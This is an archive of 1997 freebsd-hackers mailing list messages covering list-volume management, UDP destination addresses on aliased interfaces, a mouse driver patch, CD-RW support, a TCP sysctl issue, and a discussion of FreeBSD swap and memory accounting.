In-Reply-To: <24410.876303929@time.cdrom.com> Date: Wed, 08 Oct 1997 09:15:48 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: "Jordan K. Hubbard" Subject: Re: group assignments from make world. Cc: "Matthew D. Fuller" , hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi "Jordan K. Hubbard"; On 08-Oct-97 you wrote: > > I also see something else; Many times a question will trigger a > > discussion > > that end up way out (compared to the original subject). This is good, > > I > > think, but increases the volume on the lists. > > Yes. I'm all for discussion but the volume really has gotten to be > just a bit much and the percentage of useful info we developers glean > from the interaction is decreasing. That's bad since it will only > lead to the abandonment of these lists by that same developer crowd - > it's been months since I was last able to subscribe to freebsd-isp or > freebsd-questions, for example, and I think freebsd-hackers is going > to be the next to go for me. Sigh. I agree there is a problem needing solution. I am just a bit worried about how I (and others like me) surface our isues, which are typically development issues. Sometimes technical in nature, sometimes ``how-to'' in nature, and sometimes administrative in nature. Beyond that, You raised the question of control. How do you restrict, without offense, the traffic? > > If you are to categorize access, how will you do that? Will you > > restrict > > some? Based on what criteria? > > I guess if I we could get everyone on the bleeding edge (e.g. tracking > a branch vs hanging out at the last release) to subscribe to the right > mailing lists and also be _very aware_ that they were about to do the > equivalent of hang gliding off of Everest and if they run into > trouble, they're basically on their own. This I do not understand. One of the major reasons for working on a project like this, in a professional (vs. hobby, serious as it may be) capacity, is the open access to the development crew. Let me illustrate, using myself (and ignoring my diificult personality). Belive me, I am not alone, although exceptionally noisy :-) I came to take interest in FreeBSD from measurable experience in these matters, but no FreeBSD experience and very little bsd experience. I had/have questions that ranged from ``Where do I start?'' through basic API questions, to theoretical questions. What is attractive in ``free'' O/S projects is that I can surface these questions almost anonymously and get an answer. Today, I hope, I know the answers to many of these questions, but still see this forum as vital. Maybe a part of the problem can be illustrated in threads like ``The best PCI Ethernet Card''. It has been running for weeks. I do not doubt the value of the question, but where is the answer? Burried somewhere in this thread. Does this question belong in the hackers list in the first place? Probably not, but this is the best forum to surface the question. Maybe the answer lies in moving threads like this, quickly, to another channel. Maybe a chat list, or maybe a mechanism where a new mailing list can be spawned off for this type ofdiscussion, removing it automatically 10 days after the last posting. > > I think you should chalk this issue up to ``cost of doing busines''. > > I have been, believe me, but that cost is rising every day. I'm not > sure we can afford it forever and still remain the project everyone > wants us to be. I am in 100% agreement that a solution is needed. Maybe a moderator that redirects threads off the wrong list (without serializing all traffic through this moderator) by posting ``Hey, this subject should/must/IS moved to such and such list. If self policing does not work, then reorganize, but carefully please. Simon From owner-freebsd-hackers Wed Oct 8 09:22:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA27482 for hackers-outgoing; Wed, 8 Oct 1997 09:22:21 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from srv.net (snake.srv.net [199.104.81.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA27470 for ; Wed, 8 Oct 1997 09:22:15 -0700 (PDT) (envelope-from cmott@srv.net) Received: from darkstar.home (dialin1.anlw.anl.gov [141.221.254.101]) by srv.net (8.8.5/8.8.5) with SMTP id KAA32052 for ; Wed, 8 Oct 1997 10:22:06 -0600 (MDT) Date: Wed, 8 Oct 1997 09:21:34 -0700 (MST) From: Charles Mott X-Sender: cmott@darkstar.home To: freebsd-hackers@freebsd.org Subject: udp and ifconfig alias Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If I have multiple addresses on the same interface created with ifconfig alias, and a process is listening on udp *.7654, when a packet is returned after a call to recvfrom(), is it possible to tell which address it was sent to? I have tried calling getsockname(), but my test code doesn't seem to be working. And the more I think about it, getsockname() doesn't make sense for a connectionless protocol like UDP. Charles Mott From owner-freebsd-hackers Wed Oct 8 09:32:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA28246 for hackers-outgoing; Wed, 8 Oct 1997 09:32:44 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA28234 for ; Wed, 8 Oct 1997 09:32:39 -0700 (PDT) (envelope-from yokota@zodiac.mech.utsunomiya-u.ac.jp) Received: by outmail.utsunomiya-u.ac.jp id AA11777; Thu, 9 Oct 1997 01:32:23 +0900 Received: from zodiac.mech.utsunomiya-u.ac.jp (zodiac.mech.utsunomiya-u.ac.jp [160.12.42.1]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id BAA28790; Thu, 9 Oct 1997 01:38:37 +0900 (JST) Message-Id: <199710081638.BAA28790@zodiac.mech.utsunomiya-u.ac.jp> To: hackers@freebsd.org Cc: yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: extending mouse support In-Reply-To: Your message of "Wed, 08 Oct 1997 17:39:38 JST." <199710080839.RAA15160@zodiac.mech.utsunomiya-u.ac.jp> References: <199710080839.RAA15160@zodiac.mech.utsunomiya-u.ac.jp> Date: Thu, 09 Oct 1997 01:38:36 +0900 From: Kazutaka YOKOTA Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In the previous post I wrote: >This is to announce the second test release of the set of patch files >for 3.0-CURRENT, 2.2-STABLE and 2.2.2-RELEASE to modify device drivers >(psm, mse), `moused' and `sysmouse (syscons)' to take advantage of new >features (such as a wheel) of recent mouse products (i.e IntelliMouse). > >I have placed the patch files and documentation in > > ftp://ftp.freebsd.org/pub/FreeBSD/incoming/mouse971007.tar.gz > >I also included the patch for XFree86 3.3. > >Installation procedure and details of modifications are described in >NOTES in the tar file. Please read included man pages too. > >I would be grateful if you could kindly try it and send me some >comments. > >Kazu Sorry, the archive lacked one patch file. I repackaged the archive and put it as: ftp://ftp.freebsd.org/pub/FreeBSD/incoming/mouse971008.tar.gz ~ Please try this version. Kazu From owner-freebsd-hackers Wed Oct 8 09:56:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA29873 for hackers-outgoing; Wed, 8 Oct 1997 09:56:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sinbin.demos.su (sinbin.demos.su [194.87.0.31]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA29856 for ; Wed, 8 Oct 1997 09:56:41 -0700 (PDT) (envelope-from bag@sinbin.demos.su) From: bag@sinbin.demos.su Message-Id: <199710081656.JAA29856@hub.freebsd.org> Received: (from bag@localhost) by sinbin.demos.su (8.6.12/) id UAA19635; Wed, 8 Oct 1997 20:55:08 +0400 Posted-Date: Wed, 8 Oct 1997 20:55:08 +0400 Subject: Re: udp and ifconfig alias In-Reply-To: from "Charles Mott" at "Oct 8, 97 09:21:34 am" X-ELM-OSV: (Our standard violations) no-mime=1; no-hdr-encoding=1 To: cmott@srv.net (Charles Mott) Date: Wed, 8 Oct 1997 20:55:08 +0400 (MSD) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > If I have multiple addresses on the same interface created with ifconfig > alias, and a process is listening on udp *.7654, when a packet is returned > after a call to recvfrom(), is it possible to tell which address it was > sent to? I have tried calling getsockname(), but my test code doesn't > seem to be working. And the more I think about it, getsockname() doesn't > make sense for a connectionless protocol like UDP. use recvmsg call, and IP_RECVDSTADDR option enabled (man 4 ip) Alex. > > Charles Mott > > From owner-freebsd-hackers Wed Oct 8 09:58:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA29994 for hackers-outgoing; Wed, 8 Oct 1997 09:58:04 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from garbo.lodgenet.com (garbo.lodgenet.com [204.124.122.252]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id JAA29989 for ; Wed, 8 Oct 1997 09:58:01 -0700 (PDT) (envelope-from johnp@milo.lodgenet.com) Received: from milo.lodgenet.com (milo.lodgenet.com [10.0.122.42]) by garbo.lodgenet.com (8.6.12/8.6.9) with ESMTP id LAA07290 for ; Wed, 8 Oct 1997 11:57:06 -0500 Received: from milo.lodgenet.com (localhost [127.0.0.1]) by milo.lodgenet.com (8.8.5/8.8.5) with ESMTP id LAA17852 for ; Wed, 8 Oct 1997 11:56:54 -0500 (CDT) Message-Id: <199710081656.LAA17852@milo.lodgenet.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: hackers@FreeBSD.ORG Subject: HP 7100i Reply-To: johnp@lodgenet.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 08 Oct 1997 11:56:54 -0500 From: John Prince Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Has anyone had any luck using/creating a driver for the HP's New -- HP 7100i Internal IDE CD-ReWritable Drive --John From owner-freebsd-hackers Wed Oct 8 10:16:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA01680 for hackers-outgoing; Wed, 8 Oct 1997 10:16:25 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA01673 for ; Wed, 8 Oct 1997 10:16:19 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id MAA01894; Wed, 8 Oct 1997 12:16:05 -0500 (EST) From: "John S. Dyson" Message-Id: <199710081716.MAA01894@dyson.iquest.net> Subject: Re: Wheres all my memory going? In-Reply-To: from Gordon Henderson at "Oct 8, 97 03:12:16 pm" To: gordon@drogon.net (Gordon Henderson) Date: Wed, 8 Oct 1997 12:16:05 -0500 (EST) Cc: hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Gordon Henderson said: > On Wed, 8 Oct 1997, David Greenman wrote: > > > The bottom line is that it really isn't possible to determine precisely > > how much memory processes are using without carefully analyzing the output > > of 'ps' and adding up the RSS. > > UID PID PPID CPU PRI NI VSZ RSS WCHAN STAT TT TIME COMMAND > 0 0 0 0 -18 0 0 0 sched DLs ?? 0:00.11 (swapper) > 0 1 0 0 10 0 408 92 wait Is ?? 0:00.03 /sbin/init - > 0 2 0 31 -18 0 0 12 psleep DL ?? 2:33.07 (pagedaemon > 0 3 0 0 28 0 0 12 psleep DL ?? 0:00.00 (vmdaemon) > 0 4 0 0 28 0 0 12 update DL ?? 2:38.60 (update) > 0 70 1 0 2 0 204 336 select Ss ?? 8:13.83 syslogd > 0 99 1 0 2 0 192 240 select Is ?? 0:00.04 inetd > 0 101 1 0 18 0 332 336 pause Is ?? 0:01.40 cron > 0 104 1 13 2 0 208 228 select Is ?? 0:00.02 lpd > 0 287 1 9 2 0 290060 840 select Ss ?? 237:40.19 named > 0 457 1 42 2 -12 416 456 select S 0 5415 99 0 2 0 168 320 select Ss ?? 0:00.32 rlogind > 1000 5416 5415 0 18 0 444 128 pause Is p0 0:00.12 -csh (csh) > 0 5426 5416 0 18 0 452 268 pause S p0 0:00.21 -su -m (csh) > 0 5743 5426 1 28 0 632 268 - R+ p0 0:00.00 ps -gaxl > 0 144 1 0 3 0 180 224 ttyin Is+ v0 0:00.02 /usr/libexec > 0 148 1 0 3 0 180 224 ttyin Is+ d0 0:00.02 /usr/libexec > ============ > 293876 3996 > One more hint to interpreting the RSS value: a page can be resident in memory, and still not be included in the "RSS." The RSS is actually an indication of pages mapped into the process. A page can be temporarily stolen from a process, and be included in "Active" and not be included in RSS. The best rule: ALWAYS make the amount of SWAP >= the amount of memory. It is even safer to make the amount of SWAP a multiple of the amount of memory, but if you always have "enough" memory, then SWAP == MEMORY is okay. Next, judge your memory sufficiency by paging activity. If you page alot, (and you have enough swap), then you need more memory. If you don't page much, then you likely have enough memory. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-hackers Wed Oct 8 10:16:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA01737 for hackers-outgoing; Wed, 8 Oct 1997 10:16:43 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA01714 for ; Wed, 8 Oct 1997 10:16:34 -0700 (PDT) (envelope-from sthaug@nethelp.no) From: sthaug@nethelp.no Received: (qmail 2044 invoked by uid 1001); 8 Oct 1997 17:16:24 +0000 (GMT) To: gordon@drogon.net Cc: hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? In-Reply-To: Your message of "Wed, 08 Oct 1997 07:50:00 -0700" References: <199710081450.HAA20067@implode.root.com> X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Wed, 08 Oct 1997 19:16:24 +0200 Message-ID: <2042.876330984@verdi.nethelp.no> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > but what's quite unusual is the size of your named process: > > UID PID PPID CPU PRI NI VSZ RSS WCHAN STAT TT TIME COMMAND > 0 287 1 9 2 0 290060 840 select Ss ?? 237:40.19 named > > ...almost 300MB of virtual memory? Wow! I'd ask just what you were > primary/secondary for, but I don't think I want to know. :-) He said he was trying to run a top-level-domain nameserver. If that means he includes the RRs for COM (and EDU, and NET) like some of the root servers do, I'm not the least bit surprised about this size. Consider: COM alone has more than 1 million domains. The July host count came up with 764019 counted and 313075 missed domains for COM, for a total of 1077094. By now probably 1.2 - 1.3 millions.) Each domain needs at least two NS records, and may need A (glue) records. Not all the RRs will be unique, but with 100-200 bytes of virtual memory needed per RR, a virtual memory size of almost 300 MByte doesn't surprise me at all. The RSS size *is* strange, though... Steinar Haug, Nethelp consulting, sthaug@nethelp.no From owner-freebsd-hackers Wed Oct 8 10:44:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA03260 for hackers-outgoing; Wed, 8 Oct 1997 10:44:35 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA03250 for ; Wed, 8 Oct 1997 10:44:32 -0700 (PDT) (envelope-from mrcpu@cdsnet.net) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id KAA29390 for ; Wed, 8 Oct 1997 10:44:30 -0700 (PDT) Date: Wed, 8 Oct 1997 10:44:28 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: A TCP problem, plus solution! (3.0-current) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've been having similar issues that where mentioned here yesterday by somebody. I've been racking my brain trying to figure out why my 3.0-current box has been unable to telnet to my USR TC racks. I get the connected message, and then nothing. tcpdump shows similar activity to what's been posted. I traced it to a sysctl I had in /etc/rc.local that bumped the tcp recvspace to 65536. Resetting it to the default clears the problem up. So there's a bad interaction in there somewhere. From owner-freebsd-hackers Wed Oct 8 11:23:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA05736 for hackers-outgoing; Wed, 8 Oct 1997 11:23:57 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from ifi.uio.no (0@ifi.uio.no [129.240.64.2]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA05731 for ; Wed, 8 Oct 1997 11:23:53 -0700 (PDT) (envelope-from dag-erli@ifi.uio.no) Received: from hrotti.ifi.uio.no (2602@hrotti.ifi.uio.no [129.240.64.15]) by ifi.uio.no with ESMTP (8.6.11/ifi2.4) id ; Wed, 8 Oct 1997 20:23:43 +0200 MIME-Version: 1.0 Received: (from dag-erli@localhost) by hrotti.ifi.uio.no ; Wed, 8 Oct 1997 20:23:42 +0200 (MET DST) To: Gordon Henderson Cc: hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? References: Organization: Not unless it can't be avoided. X-url: http://www.ifi.uio.no/~dag-erli/ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit From: dag-erli@ifi.uio.no (Dag-Erling Coidan Smørgrav) Date: 08 Oct 1997 20:23:42 +0200 In-Reply-To: Gordon Henderson's message of Wed, 8 Oct 1997 13:55:54 +0100 (BST) Message-ID: Lines: 23 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Gordon Henderson writes: > Machine boots OK. I start named (8.1.1) and it initialises. However, after > some time (a day or so) the machine start to run out of swap space. I only > allocated 64M of swap. (Is this the problem?) What I can't figure out is > where the memory is going. Output of 'top -b' shows: This is a FAQ. See the FreeBSD FAQ list, section 12, question 12.1: Q. Why does FreeBSD consume far more swap space than Linux? A. It doesn't. You might mean ``why does my swap seem full?''. If that is what you really meant, it's because putting stuff in swap rather than discarding it makes it faster to recover than if the pager had to go through the file system to pull in clean (unmodified) blocks from an executable. The actual amount of dirty pages that you can have in core at once is not reduced; the clean pages are displaced as necessary. -- * Finrod (INTJ) * Unix weenie * dag-erli@ifi.uio.no * cellular +47-92835919 * RFC1123: "Be liberal in what you accept, and conservative in what you send" From owner-freebsd-hackers Wed Oct 8 11:38:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA06507 for hackers-outgoing; Wed, 8 Oct 1997 11:38:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from ifi.uio.no (0@ifi.uio.no [129.240.64.2]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA06500 for ; Wed, 8 Oct 1997 11:38:46 -0700 (PDT) (envelope-from dag-erli@ifi.uio.no) Received: from hrotti.ifi.uio.no (2602@hrotti.ifi.uio.no [129.240.64.15]) by ifi.uio.no with ESMTP (8.6.11/ifi2.4) id ; Wed, 8 Oct 1997 20:32:30 +0200 MIME-Version: 1.0 Received: (from dag-erli@localhost) by hrotti.ifi.uio.no ; Wed, 8 Oct 1997 20:32:29 +0200 (MET DST) To: dg@root.com Cc: Gordon Henderson , Mike Smith , hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? References: <199710081450.HAA20067@implode.root.com> Organization: Not unless it can't be avoided. X-url: http://www.ifi.uio.no/~dag-erli/ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit From: dag-erli@ifi.uio.no (Dag-Erling Coidan Smørgrav) Date: 08 Oct 1997 20:32:28 +0200 In-Reply-To: David Greenman's message of Wed, 08 Oct 1997 07:50:00 -0700 Message-ID: Lines: 14 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk David Greenman writes: > memory as well. "top" is a poor utility for looking at this sort of thing > since this shows top CPU consumers, not top memory consumers. You really > should be using 'ps -alx' to look at this stuff. Speaking of top, can somebody explain to me why, according to top, some processes have a larger "RES" entry "SIZE" entry? Doesn't "RES" represent just a part of "SIZE"? I've only ever seen this on FreeBSD; on all other Unices I use (Solaris, IRIX, SunOS), "SIZE" is always larger than "RES". -- * Finrod (INTJ) * Unix weenie * dag-erli@ifi.uio.no * cellular +47-92835919 * RFC1123: "Be liberal in what you accept, and conservative in what you send" From owner-freebsd-hackers Wed Oct 8 11:47:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA07173 for hackers-outgoing; Wed, 8 Oct 1997 11:47:54 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from paradise.isocor.ie ([194.106.155.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA07155 for ; Wed, 8 Oct 1997 11:47:45 -0700 (PDT) (envelope-from peter.edwards@isocor.ie) Received: from plank (194.106.155.26) by paradise.isocor.ie (NPlex 2.0.066) for hackers@FreeBSD.ORG; 8 Oct 1997 19:47:42 +0100 Message-ID: <343A136B0000097B@paradise.isocor.ie> (added by paradise.isocor.ie) From: "Peter Edwards" To: Subject: Re: Wheres all my memory going? Date: Wed, 8 Oct 1997 19:48:21 +0100 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1162 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk David Greenman wrote: > >But if theres 152MB of free memory then why is it ever pushing stuff out > >into swap??? > > Because there was something that took lots of memory and triggered a > pageout. The system "caches" the data written out to swap - it isn't freed > up just by being paged back in again. This is why it is so important that > you have at least as much swap as you have main memory. The weird thing isn't My knowledge of VM is pretty basic, but I dont get this. The "newvm" doc in /usr/share/papers indicates that one of the reasons for the switch to the region-based VM approach was to avoid having to assign each page of phyiscal memory with a page of swap space, and being able to treat the sum of physical memory and swap space as the available virtual memory of the machine. Surely the fact that the memory is "cached" is just so the process being swapped out can also get its old pages as quickly as another can use that free memory for it's new pages? If memory runs out, so be it. The cached pages can be freed up for other use, because they're on disk, but why is there a requirement to have more swap than physical RAM? What benefit is gained by not mirroring each memory page with one in the swap files as was done previously. Sorry for sticking my inexperienced oar in, but I'd like to get a grip on this. -- Peter. From owner-freebsd-hackers Wed Oct 8 11:59:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA07960 for hackers-outgoing; Wed, 8 Oct 1997 11:59:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA07951 for ; Wed, 8 Oct 1997 11:59:45 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id LAA22364; Wed, 8 Oct 1997 11:59:22 -0700 (PDT) Message-Id: <199710081859.LAA22364@implode.root.com> To: dag-erli@ifi.uio.no (Dag-Erling Coidan Sm rgrav) cc: Gordon Henderson , Mike Smith , hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? In-reply-to: Your message of "08 Oct 1997 20:32:28 +0200." From: David Greenman Reply-To: dg@root.com Date: Wed, 08 Oct 1997 11:59:22 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >David Greenman writes: >> memory as well. "top" is a poor utility for looking at this sort of thing >> since this shows top CPU consumers, not top memory consumers. You really >> should be using 'ps -alx' to look at this stuff. > >Speaking of top, can somebody explain to me why, according to top, >some processes have a larger "RES" entry "SIZE" entry? Doesn't "RES" >represent just a part of "SIZE"? I've only ever seen this on FreeBSD; >on all other Unices I use (Solaris, IRIX, SunOS), "SIZE" is always >larger than "RES". FreeBSD and other 4.4BSD derived OSes don't include the space consumed by mmap'ed files (except the one being execed) in the 'SIZE'. The virtual size as reported is the sum of text+data+bss+heap+stack. This is a "bug" of sorts, but is difficult to fix. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Oct 8 13:02:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA11246 for hackers-outgoing; Wed, 8 Oct 1997 13:02:38 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA11240 for ; Wed, 8 Oct 1997 13:02:34 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id NAA22784; Wed, 8 Oct 1997 13:04:07 -0700 (PDT) Message-Id: <199710082004.NAA22784@implode.root.com> To: "Peter Edwards" cc: hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? In-reply-to: Your message of "Wed, 08 Oct 1997 19:48:21 BST." <343A136B0000097B@paradise.isocor.ie> (added by paradise.isocor.ie) From: David Greenman Reply-To: dg@root.com Date: Wed, 08 Oct 1997 13:04:07 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >David Greenman wrote: >> >But if theres 152MB of free memory then why is it ever pushing stuff out >> >into swap??? >> >> Because there was something that took lots of memory and triggered a >> pageout. The system "caches" the data written out to swap - it isn't >freed >> up just by being paged back in again. This is why it is so important that >> you have at least as much swap as you have main memory. The weird thing >isn't > >My knowledge of VM is pretty basic, but I dont get this. The "newvm" doc in >/usr/share/papers indicates that one of the reasons for the switch to the >region-based VM approach was to avoid having to assign each page of >phyiscal memory with a page of swap space, and being able to treat the sum >of physical memory and swap space as the available virtual memory of the >machine. Sort of. Actually, the advantage is that swap space can be lazy-allocated only when it is actually needed, rather than always allocating all of it up- front. In the old 4.3BSD VM system, even read-only executable pages had to be backed by swap - the system copied the whole thing to swap first before executing the code...this is SLOW for obvious reasons. >Surely the fact that the memory is "cached" is just so the process being >swapped out can also get its old pages as quickly as another can use that >free memory for it's new pages? If memory runs out, so be it. The cached >pages can be freed up for other use, because they're on disk, but why is >there a requirement to have more swap than physical RAM? What benefit is >gained by not mirroring each memory page with one in the swap files as was >done previously. Sorry for sticking my inexperienced oar in, but I'd like >to get a grip on this. I can't parse most of the above. Basically, you have a modified page; the system runs out of physical memory and needs to page something out; space is allocated for the page in swap and the page is paged out. Now, the process that the page originally belonged to needs it again, so the system pages it back in, but the page isn't "freed from swap". If the system needs to reclaim the page again after it was swapped back in and if it hasn't been modified while it was in memory, then it is just freed - it doesn't need to be paged out again because a copy is "cached" on the disk in the swap partition. This saves precious disk I/O. Does this make sense? -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Oct 8 13:42:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA13488 for hackers-outgoing; Wed, 8 Oct 1997 13:42:54 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA13480 for ; Wed, 8 Oct 1997 13:42:43 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA03709; Wed, 8 Oct 1997 22:42:27 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id VAA15728; Wed, 8 Oct 1997 21:46:32 +0200 (MET DST) Message-ID: <19971008214632.UE03822@uriah.heep.sax.de> Date: Wed, 8 Oct 1997 21:46:32 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: johnp@lodgenet.com Subject: Re: HP 7100i References: <199710081656.LAA17852@milo.lodgenet.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710081656.LAA17852@milo.lodgenet.com>; from John Prince on Oct 8, 1997 11:56:54 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As John Prince wrote: > Has anyone had any luck using/creating a driver for the > HP's New -- HP 7100i Internal IDE CD-ReWritable Drive Try Jörg Schilling's cdrecord program. I don't have a URL handy, but if you search in DejaNews for this name, you should be able to find it. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Oct 8 13:43:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA13510 for hackers-outgoing; Wed, 8 Oct 1997 13:43:02 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA13502 for ; Wed, 8 Oct 1997 13:42:58 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA03716; Wed, 8 Oct 1997 22:42:56 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id VAA15854; Wed, 8 Oct 1997 21:50:18 +0200 (MET DST) Message-ID: <19971008215018.SO62644@uriah.heep.sax.de> Date: Wed, 8 Oct 1997 21:50:18 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: mrcpu@cdsnet.net (Jaye Mathisen) Subject: Re: A TCP problem, plus solution! (3.0-current) References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 